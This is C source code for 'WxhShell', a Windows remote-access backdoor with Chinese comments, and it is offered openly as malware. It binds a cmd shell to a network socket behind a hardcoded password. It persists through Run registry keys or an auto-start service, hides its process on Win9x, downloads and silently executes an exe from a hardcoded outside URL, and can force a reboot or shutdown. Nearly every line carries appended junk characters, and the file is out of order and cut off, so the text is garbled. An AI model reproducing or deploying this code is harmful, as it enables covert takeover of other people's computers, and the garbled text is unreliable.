    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f}J(nz>Sh  
    if(Boot(SHUTDOWN)) FWA?mde  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T7%!JBg@  
    else { ?U{<g,^  
    closesocket(wsh); *MB >,HU  
    ExitThread(0); n}I?.r@e  
    } Q;J( 5;  
    break; k/D{&(F ~  
    } xx(C$wCJ  
  // 获取shell aL%E#  
  case 's': { %IZd-N7i^  
    CmdShell(wsh); k%FA:ms|k  
    closesocket(wsh); ^sB0$|DU  
    ExitThread(0); 9! /kyyU  
    break; 2 rr=FJ  
  } P:t .Nr"  
  // 退出 S>r",S  
  case 'x': { 6y~F'/ww  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nQoQNB  
    CloseIt(wsh); N@L{9ak1  
    break; U3N9O.VC  
    } U(9_&sL  
  // 离开 fjVy;qJ32S  
  case 'q': { ]jFl?LA%7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 31@Lr[!  
    closesocket(wsh); H=Ilum06  
    WSACleanup(); Yu>DgMW  
    exit(1); ? ep#s$i  
    break; XIbZ_G^ +D  
        } l6&\~Z(  
  } Cf3!Ud  
  } ##*]2Dy  
+)iMJ]>  
  // 提示信息 uTxa5j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); weSq |f  
} {VE h@yn  
  } L_NiU;cr%  
PmRvjSIG  
  return; m&Mupl  
} *L$2M?xkY  
R<Lf>p>_  
// shell模块句柄 jb -kg</A  
int CmdShell(SOCKET sock) AQg|lKv  
{ 0(D^NtB7  
STARTUPINFO si; $+!dP{   
ZeroMemory(&si,sizeof(si)); pW(rNAJ!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^,acU\}VqP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !qj[$x-ns  
PROCESS_INFORMATION ProcessInfo; FT@uZWgQ=  
char cmdline[]="cmd"; Aw |;C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #_@cI(P  
  return 0; 6!ve6ZB[p  
} t>I.1AS  
6'r8.~O  
// 自身启动模式 UJ)pae  
int StartFromService(void) ,erf{"Nh  
{ /|1p7{km  
typedef struct (Q^sK\  
{ 6<._^hyq  
  DWORD ExitStatus; jO-?t9^  
  DWORD PebBaseAddress; f'^uuO#x  
  DWORD AffinityMask; :"\,iH  
  DWORD BasePriority;  ?pTX4a&>  
  ULONG UniqueProcessId; ^dHQ<L3.*  
  ULONG InheritedFromUniqueProcessId;  5&&4-  
}   PROCESS_BASIC_INFORMATION; f"QiVJq  
&riGzU]  
PROCNTQSIP NtQueryInformationProcess; &9p!J(C  
QF#w $%7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {AL EK   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T{k P9 4  
Ke\\B o,  
  HANDLE             hProcess; N+|NI?R?}  
  PROCESS_BASIC_INFORMATION pbi; Tlsh[@Q  
WQK<z!W5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7A)\:k  
  if(NULL == hInst ) return 0; W$rWg>4>  
E.oJ[;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H}^'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OSgJj MQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K,E/.Qe\C  
;b$P*dSG}  
  if (!NtQueryInformationProcess) return 0; ;c(a)_1  
I`kfe`_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t]yxLl\  
  if(!hProcess) return 0; zfIo] M`  
L"bOc'GfQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; " O&93#8  
Jl Do_}  
  CloseHandle(hProcess); T*z]<0E]  
.DCHc,DxA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )`\hK  
if(hProcess==NULL) return 0; c/;;zc  
Gm=qn]c  
HMODULE hMod; {Su?*M2y  
char procName[255]; ]?eZDf~  
unsigned long cbNeeded; ejROJXB  
M tN>5k c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  +\/Q  
$ V^gFes  
  CloseHandle(hProcess); {ZJO5*  
bz4Gzp'6k  
if(strstr(procName,"services")) return 1; // 以服务启动 6K/RO)  
zC?' Qiuh*  
  return 0; // 注册表启动 l& :EKh  
} /sE,2X*BT  
Pf*6/7S:  
// 主模块 $*Ucfw1T  
int StartWxhshell(LPSTR lpCmdLine) zTz}H*U  
{ ?bTfQH vX  
  SOCKET wsl; `zd,^.i5~  
BOOL val=TRUE; L.Y3/H_  
  int port=0; `KJ( .m  
  struct sockaddr_in door; ZoW1Cc&p  
-9Q(3$}  
  if(wscfg.ws_autoins) Install(); #8$?# dT  
:ym?]EL4o  
port=atoi(lpCmdLine); P"YdB|I  
s\*L5{kiSl  
if(port<=0) port=wscfg.ws_port; i'>6Qo  
L 4By5)  
  WSADATA data; -^_m(@A<~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }0'=}BE  
XlmX3RU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ltlp9 S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m4:c$5  
  door.sin_family = AF_INET; ]33!obM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sS D8Sx/  
  door.sin_port = htons(port); MK&,2>m,A  
c4JV~VS+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T(J'p4  
closesocket(wsl); ] l,BUf-O  
return 1; &D, Iwq  
} GO"`{|o  
asWk]jjMG  
  if(listen(wsl,2) == INVALID_SOCKET) { .<x6U*)\O  
closesocket(wsl); _&gi4)q  
return 1; x/|W;8g4  
} C$[d~1t6  
  Wxhshell(wsl); !09)WtsEfx  
  WSACleanup(); =i/Df ?  
5`;SI36"  
return 0; r- 8Awa  
j=WxtMS  
} pUIN`ya[[  
%(CC  
// 以NT服务方式启动 mm/\\my  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VB |?S|<  
{ TxrW69FV7  
DWORD   status = 0; 3efOgP=L  
  DWORD   specificError = 0xfffffff; n,N->t$i  
? <?Ogq"<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m+QS -woHn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ot0teNF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _4{0He`q  
  serviceStatus.dwWin32ExitCode     = 0; &l(T},-X  
  serviceStatus.dwServiceSpecificExitCode = 0; 0.MB;gm:  
  serviceStatus.dwCheckPoint       = 0; @0+\:F  
  serviceStatus.dwWaitHint       = 0; 7 N}@zPAZ  
xfk -Ezv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T(!1\TB  
  if (hServiceStatusHandle==0) return; dOjly,!  
]_KWN$pd  
status = GetLastError(); ;-db/$O  
  if (status!=NO_ERROR) Gp9 <LB\,  
{ D  T5d]MU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :~-:  
    serviceStatus.dwCheckPoint       = 0; h ldZA  
    serviceStatus.dwWaitHint       = 0; Bm~^d7;Cw  
    serviceStatus.dwWin32ExitCode     = status; 1+%UZK= K  
    serviceStatus.dwServiceSpecificExitCode = specificError; "x$@^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d59rq<yI  
    return; CD1Ma8I8  
  } E|=x+M1sH  
]TvMT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u`ir(JIj]  
  serviceStatus.dwCheckPoint       = 0; Ey@^gHku\  
  serviceStatus.dwWaitHint       = 0; Th_@'UDa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =?]`Xo,v~  
} {O+T`; =)L  
k>i88^kPV  
// 处理NT服务事件,比如:启动、停止 [Rj4= qq=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "&_+!TBg,  
{ I:dUHN+@L5  
switch(fdwControl) ; _%zf5;'  
{ a1,)1y~  
case SERVICE_CONTROL_STOP: T{prCM  
  serviceStatus.dwWin32ExitCode = 0; 1^_W[+<S/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &dB@n15'A  
  serviceStatus.dwCheckPoint   = 0; ,[n9DPZ  
  serviceStatus.dwWaitHint     = 0; FM]clC;X?  
  { 9O g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VgPlIIHh5  
  } RHsVG &<j  
  return; 0>[]Da}  
case SERVICE_CONTROL_PAUSE: 6 ;'s9s"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .7.G}z1  
  break; jHEP1rNHE  
case SERVICE_CONTROL_CONTINUE: ~n -N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S @[]znH  
  break; Xl=RaV^X"  
case SERVICE_CONTROL_INTERROGATE: UVDMYA0  
  break; 6{I7=.V  
}; IlJ"t`Z9)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VjM/'V5  
} >4g!ic~O  
NG3?OAQTw  
// 标准应用程序主函数 =t N}4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wn"\ @QvG  
{ CUDA<Fm  
olv&K(-ccI  
// 获取操作系统版本 jd]L}%ax  
OsIsNt=GetOsVer(); #-%D(=&I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); drpx"d[c  
qFVZhBC  
  // 从命令行安装 1<:5b%^c  
  if(strpbrk(lpCmdLine,"iI")) Install(); JbEEI(Q>g  
Zl[EpXlZ  
  // 下载执行文件 ll}_EUF|  
if(wscfg.ws_downexe) { :TVo2Zm[@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Tkr~)2,(I!  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^/%o I;O{  
} =nHkFi@D=t  
&$ }6:  
if(!OsIsNt) { A}! A*z<9  
// 如果时win9x,隐藏进程并且设置为注册表启动 #0) TS  
HideProc(); AK lr a$  
StartWxhshell(lpCmdLine); 2V 8 "jc  
} ke@OG! M/  
else EFiVwH  
  if(StartFromService()) 5X8 i=M;  
  // 以服务方式启动 /.s L[X-G  
  StartServiceCtrlDispatcher(DispatchTable); S%H"i y  
else I3Co   
  // 普通方式启动 c}v8j2{  
  StartWxhshell(lpCmdLine); g3s5ra[  
wg_Z@iX  
return 0; t(<k4ji,  
} _R0O9sPTO  
!C4)P3k  
.`*;AT  
pv4#`.m  
=========================================== t .&JPTK-H  
r}Vr_  
Mmgm6{  
nzO -\`40  
0^L:`[W+  
UQhD8Z'I.  
" `?^<r%*F.  
MF$Dx| Tcj  
#include <stdio.h> N) jNvzm  
#include <string.h> ;Ym6ey0t  
#include <windows.h> dM,{:eID  
#include <winsock2.h> UU}Hs}  
#include <winsvc.h> A[4HD!9=  
#include <urlmon.h> ; p+C0!B2  
FYNUap,A  
#pragma comment (lib, "Ws2_32.lib") f% 8n?f3;u  
#pragma comment (lib, "urlmon.lib") EGRIhnED#  
\{(cz/]G/  
#define MAX_USER   100 // 最大客户端连接数 @6[aLF]F  
#define BUF_SOCK   200 // sock buffer dtQ3iuV %  
#define KEY_BUFF   255 // 输入 buffer U_9|ED:  
79Aa~+i'_  
#define REBOOT     0   // 重启 H>\l E2  
#define SHUTDOWN   1   // 关机 :3se/4y}  
)+)qFGVz  
#define DEF_PORT   5000 // 监听端口 ?!tO'}?  
e*<pO@Uy  
#define REG_LEN     16   // 注册表键长度 dF|n)+C~R  
#define SVC_LEN     80   // NT服务名长度 >0:=<RW  
cri-u E?  
// 从dll定义API pNHL&H\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u#ocx[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); svC m }`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aTaL|&(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %Zeb#//Jz  
'\pSUp  
// wxhshell配置信息 qP/McH?  
struct WSCFG { 9y\Ik/  
  int ws_port;         // 监听端口 *EU1`q*  
  char ws_passstr[REG_LEN]; // 口令 +>tSO!}[  
  int ws_autoins;       // 安装标记, 1=yes 0=no *TL3-S?   
  char ws_regname[REG_LEN]; // 注册表键名 r-hb]!t  
  char ws_svcname[REG_LEN]; // 服务名 x` 4|^ u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KrTlzbw&p\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;P8.U(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u\K`TWb%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q9g^'a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z4k'c+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SphP@J<ONW  
pSx}:u^am  
}; -9 |)O:  
Tn'o$J  
// default Wxhshell configuration 9KL)5_6 M  
struct WSCFG wscfg={DEF_PORT, ) Cm95,Y  
    "xuhuanlingzhe", UE/iq\a>  
    1, X-yS9E  
    "Wxhshell", Qj9'VI>&  
    "Wxhshell", O V^?cA  
            "WxhShell Service", s8*Q@0  
    "Wrsky Windows CmdShell Service", ()_^:WQO?  
    "Please Input Your Password: ", S2V+%Z _J  
  1, q] '2'"k  
  "http://www.wrsky.com/wxhshell.exe", r#mH[|@W~  
  "Wxhshell.exe" |v"&Y  
    }; _]kw |[)  
w!l*!G  
// 消息定义模块 jq[Q>"f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DbN_(mC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zu ![v0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a;G>56iw  
char *msg_ws_ext="\n\rExit."; xf3/J{n3  
char *msg_ws_end="\n\rQuit."; Y-y}gc_L  
char *msg_ws_boot="\n\rReboot..."; l Ztw[c  
char *msg_ws_poff="\n\rShutdown..."; P7 qzZ  
char *msg_ws_down="\n\rSave to "; {G-y7y+E  
:w9s bW  
char *msg_ws_err="\n\rErr!"; j[$+hh3:  
char *msg_ws_ok="\n\rOK!"; hhJ>>G4R2  
)Q~K\bJf  
char ExeFile[MAX_PATH]; U1pwk[  
int nUser = 0; #PMi6q~Z  
HANDLE handles[MAX_USER]; o[k,{`M0  
int OsIsNt; i)M JP*  
o=Kd9I#  
SERVICE_STATUS       serviceStatus; 'Fa~l'G7X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z7=k$e  
iRI7x)^0"z  
// 函数声明 7HQ|3rt  
int Install(void); 3W@ta1  
int Uninstall(void); k mX:~KMb  
int DownloadFile(char *sURL, SOCKET wsh); 6;}W)S  
int Boot(int flag); y.WEO>   
void HideProc(void); 90 pt'Jg  
int GetOsVer(void); <w0$0ku  
int Wxhshell(SOCKET wsl); 0' II6,:  
void TalkWithClient(void *cs); aeTVcq  
int CmdShell(SOCKET sock); PLQLGb4f_;  
int StartFromService(void); X/<Q3AK  
int StartWxhshell(LPSTR lpCmdLine); `j(-y`fo  
QR[i9'`<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )uH#+IU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Qr]`flQ8  
f26hB;n  
// 数据结构和表定义 b,-qyJW6  
SERVICE_TABLE_ENTRY DispatchTable[] = S!.H _=z%p  
{ aF:|MTC(~  
{wscfg.ws_svcname, NTServiceMain}, nCdxn#|  
{NULL, NULL} McRfEF \  
}; ;+R  
\t%rIr  
// 自我安装 rL<a^/b/=  
int Install(void) E9v_6d[  
{ 7\ kixfEg  
  char svExeFile[MAX_PATH]; nQ^ c{Bm:  
  HKEY key; vC%8-;8{H  
  strcpy(svExeFile,ExeFile); 0I"r*;9?K  
t(5PKD#~Dc  
// 如果是win9x系统,修改注册表设为自启动 H4IJLZ3G  
if(!OsIsNt) { VgcLG ]tE[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pJ3Yjm[l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 az{j 1  
  RegCloseKey(key); &bT \4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M%qHf{ B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h4k.1yH;  
  RegCloseKey(key); I?Ct@yxhF'  
  return 0; - DE?L,9X9  
    } /}#@uC  
  } eaCh;IpIf  
} _jD\kg#LY  
else { gP:H_nVh  
"P@oO,.  
// 如果是NT以上系统,安装为系统服务 |Y]4PT#EE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?Y\hC0a60  
if (schSCManager!=0) oS Apa  
{ pF}WMt  
  SC_HANDLE schService = CreateService Z<@dM2b)  
  ( }q D0-  
  schSCManager, [7@9wa1v!  
  wscfg.ws_svcname, Vs@H>97,G  
  wscfg.ws_svcdisp, F*j0o +B5  
  SERVICE_ALL_ACCESS, w4(g]9^Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CKr5L  
  SERVICE_AUTO_START, H&E3RU> `  
  SERVICE_ERROR_NORMAL, \O(~:KN  
  svExeFile, s8iB>-dk  
  NULL, 0m 7_#g4$L  
  NULL, :*dfP/GO  
  NULL, JJVdq-k+`  
  NULL, U3b&/z|b?  
  NULL 5tQZf'pHfd  
  );  "DsL$D2e  
  if (schService!=0) .}ePm(  
  { Hh{pp ^  
  CloseServiceHandle(schService); lmpBf{~ S  
  CloseServiceHandle(schSCManager); y,cz;2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =dDr:Y<@*  
  strcat(svExeFile,wscfg.ws_svcname); 3T84f[CFJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EaUO>S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8qWN~Gk1p{  
  RegCloseKey(key); c= #V*<  
  return 0; 5}NTqN0@  
    } A8U\/GP  
  } 1Zt>andBF  
  CloseServiceHandle(schSCManager); ]@A}v\wa  
} M" R= ;n  
} $i]G'fj  
$~r_&1  
return 1; SBh"^q  
} Q]hl+C$d"/  
<tto8Y j  
// 自我卸载 +Hk r\  
int Uninstall(void) U\GuCw  
{ W@FSQ8b>$m  
  HKEY key; br%l>Y\"  
gi #dSd1\&  
if(!OsIsNt) { .)Zs:5 0l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (C.<H6]=  
  RegDeleteValue(key,wscfg.ws_regname); FL E3LH  
  RegCloseKey(key); FW)VyVFmk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V[2}  
  RegDeleteValue(key,wscfg.ws_regname); yV?qX\~*  
  RegCloseKey(key); 6<mlx'  
  return 0; w9TE E,t;5  
  } &M{;[O{  
} %WlTx&jSgE  
} W[<ZI>mf  
else { _o7t| pl~  
%00cC~}4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qT~a`ou:  
if (schSCManager!=0) %&j \:X~A  
{ qNi`OVh&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #\Zr$?t|V  
  if (schService!=0) u~7fK  
  { |8?e4yVd  
  if(DeleteService(schService)!=0) { Lu CiO  
  CloseServiceHandle(schService); ?azcWf z0  
  CloseServiceHandle(schSCManager); Y.kgJ #2  
  return 0; q~`dxq`}  
  } FxmHy{JG  
  CloseServiceHandle(schService); @Yn+ir0>O  
  } K5!OvqzG  
  CloseServiceHandle(schSCManager); otX/sg.B*  
} !<>*|a  
} Ey=ymf.}  
7n,=`0{r  
return 1; {mUt|m 7!  
} M+*K-zt0  
$plqk^P  
// 从指定url下载文件 +o?;7  
int DownloadFile(char *sURL, SOCKET wsh) u|LDN*#DW  
{ %n 6NVi_[  
  HRESULT hr; 8([ MR  
char seps[]= "/"; 6MNrH  
char *token; -Fq`#"  
char *file; u\;d^A  
char myURL[MAX_PATH]; nyetK  
char myFILE[MAX_PATH]; }bSDhMV;  
,0c]/Sd*p  
strcpy(myURL,sURL); ;Yt+ {pI  
  token=strtok(myURL,seps); zf>*\pZE  
  while(token!=NULL) H: S<O%f  
  { 8@Bm2?$}g  
    file=token; P=PeWX*L<Z  
  token=strtok(NULL,seps); v: veKA  
  } cyo[HI?WM  
5'(T*"  
GetCurrentDirectory(MAX_PATH,myFILE); H+Aidsn  
strcat(myFILE, "\\"); N0%q 66]1  
strcat(myFILE, file); #0PZa$kM(o  
  send(wsh,myFILE,strlen(myFILE),0); *?\u5O(  
send(wsh,"...",3,0); )|_L?q#w!'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mFeR~Bi>!  
  if(hr==S_OK) \t 5_V)P  
return 0; Zl>dBc%  
else \B^NdG5Y  
return 1; `5e{ec c7  
cUr!U\X[  
} g)R2V  
c/igw+L()  
// 系统电源模块 1$+8wDVwad  
int Boot(int flag) I\x9xJ4x  
{ 8t. QFze?  
  HANDLE hToken; [:(/cKo  
  TOKEN_PRIVILEGES tkp; _-3n'i8  
bL Sc=f&  
  if(OsIsNt) { <nb%$2r1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k~gOL#$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k'k}/Hxub  
    tkp.PrivilegeCount = 1; PXqG;o*Q*?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _9JFlBx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nzaA_^`mB  
if(flag==REBOOT) { #4lIna%VX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9K#3JyW*  
  return 0; -7]j[{?w  
} M9afg$;.xe  
else { !n` |k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r @m]#4  
  return 0; hlDB'8  
} Dk>6PBl  
  } kiyc^s  
  else { .izq}q*P   
if(flag==REBOOT) { e0h[(3bXs$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )UM^#<-  
  return 0; O$}.b=N9  
} "TJ*mN.i{}  
else { yW (|auq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bc4V&  
  return 0; dzBP<Xyh  
} huS*1xl  
} jeJgDAUv  
p7@R+F\.};  
return 1; |oke)w=gn  
} 4l%1D.3-O  
Qj;{Z*l%+  
// win9x进程隐藏模块  u\L}B!  
void HideProc(void) 5.oIyC^Ik  
{ $\Y&2&1s  
P3: t 4^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J (?qk  
  if ( hKernel != NULL ) BhzDV  
  { R-j*fO}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wz s=BNm9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |[IyqWG9  
    FreeLibrary(hKernel); No} U[u.O  
  } z&tC5]#  
n)98NSVDbT  
return; T"W<l4i-  
} SXZ9+<\  
~cCMLK em  
// 获取操作系统版本 P+}~6}wJE  
int GetOsVer(void) jh)@3c  
{ !43 !JfD  
  OSVERSIONINFO winfo; ZQ_6I}i")  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qrYbc~jI7  
  GetVersionEx(&winfo); nYj rEy)Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v62_VT2v  
  return 1; ,;6V=ok  
  else c\1X NPGG  
  return 0; O*~z@"\  
} o+A1-&qhN  
dHXe2rTE;&  
// 客户端句柄模块 'R79,)|;[  
int Wxhshell(SOCKET wsl) QMsq4yJ)%  
{ gCb+hQq\  
  SOCKET wsh; w3(|A> s3  
  struct sockaddr_in client; ]=q auf>3  
  DWORD myID; fx5S2%f^  
);7 d_#  
  while(nUser<MAX_USER) .Q,"gsY  
{ oQ<[`.s  
  int nSize=sizeof(client); D4!;*2t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FOsd{Fw  
  if(wsh==INVALID_SOCKET) return 1; nc k/Dw  
sv% X8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z^&G9I#  
if(handles[nUser]==0) UhDQl%&He  
  closesocket(wsh); 'K?h6?#  
else WMf / S"=  
  nUser++; 9efDM  
  } m4hkV>$d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6DHK&<=D8  
@|anu&Hm  
  return 0; S{+t>en  
} yS W$zA,  
9&eY<'MgP  
// 关闭 socket d&FXndC4F  
void CloseIt(SOCKET wsh) 73cb1 kfPd  
{ STW?0B'Jr  
closesocket(wsh); <T}U 3lL^  
nUser--; L3, /7  
ExitThread(0); ~v;I>ij  
} ?Ij(B}D  
xpR`fq  
// 客户端请求句柄 aj&L ZDD6  
void TalkWithClient(void *cs) >&PM'k  
{ 6dIPgie3w  
f8:nKb>nq$  
  SOCKET wsh=(SOCKET)cs; .uJ J<  
  char pwd[SVC_LEN]; @Lnv  
  char cmd[KEY_BUFF]; 6nW)2LV  
char chr[1]; X9m^i2tk  
int i,j; H -Mb:4  
>3uNh:|>/  
  while (nUser < MAX_USER) { N#T'}>ty  
O k`}\NZL  
if(wscfg.ws_passstr) { ,UY1.tR(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Hj)Av <O(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TJ"-cWpO1  
  //ZeroMemory(pwd,KEY_BUFF); 6m:$mhA5  
      i=0; {rKC4:  
  while(i<SVC_LEN) { # rkq ?:Q  
u<edO+  
  // 设置超时 :<J7g`f  
  fd_set FdRead; FCE y1^u  
  struct timeval TimeOut; .4+R ac  
  FD_ZERO(&FdRead); :wC\IwG~CE  
  FD_SET(wsh,&FdRead); Y2r}W3F=  
  TimeOut.tv_sec=8; ;qWu8\T+  
  TimeOut.tv_usec=0; -5<[oBL;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |.N[NY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k>($[;k|b  
Y9)j1~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (7Z+De?  
  pwd=chr[0]; &<F9Z2^  
  if(chr[0]==0xd || chr[0]==0xa) { PQ&*(G  
  pwd=0; xb;{<~`71  
  break; |7|S>h^  
  } Vu$m1,/  
  i++; <s9{o uZ  
    } ZNQ x;51  
]fM|cN8(zM  
  // 如果是非法用户,关闭 socket W@d&X+7e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =)Xj[NNRT  
} N'`X:7fN  
?:"ABkL|+Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P<PZ4hNx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [dJ!JT/X{  
jWrU'X  
while(1) { K<>kT4  
25SWIpgG  
  ZeroMemory(cmd,KEY_BUFF); HRf;bKZ  
=-U0r$sK+F  
      // 自动支持客户端 telnet标准   y!FO  
  j=0; .#( vx;  
  while(j<KEY_BUFF) { !..<_qfw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MmT/J1zM  
  cmd[j]=chr[0]; 5u!\c(TJ+  
  if(chr[0]==0xa || chr[0]==0xd) { g|~px$<iY  
  cmd[j]=0; (0 T!- hsP  
  break; Hyb(.hlZh  
  } `!]|lI!GW  
  j++; BSm"]!D8*  
    } ;(i6 X)  
cH5i420;aO  
  // 下载文件 7e"}ojt$  
  if(strstr(cmd,"http://")) { N~)-\T:ap  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FGV L[\  
  if(DownloadFile(cmd,wsh)) bzi"7%c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t13V>9to  
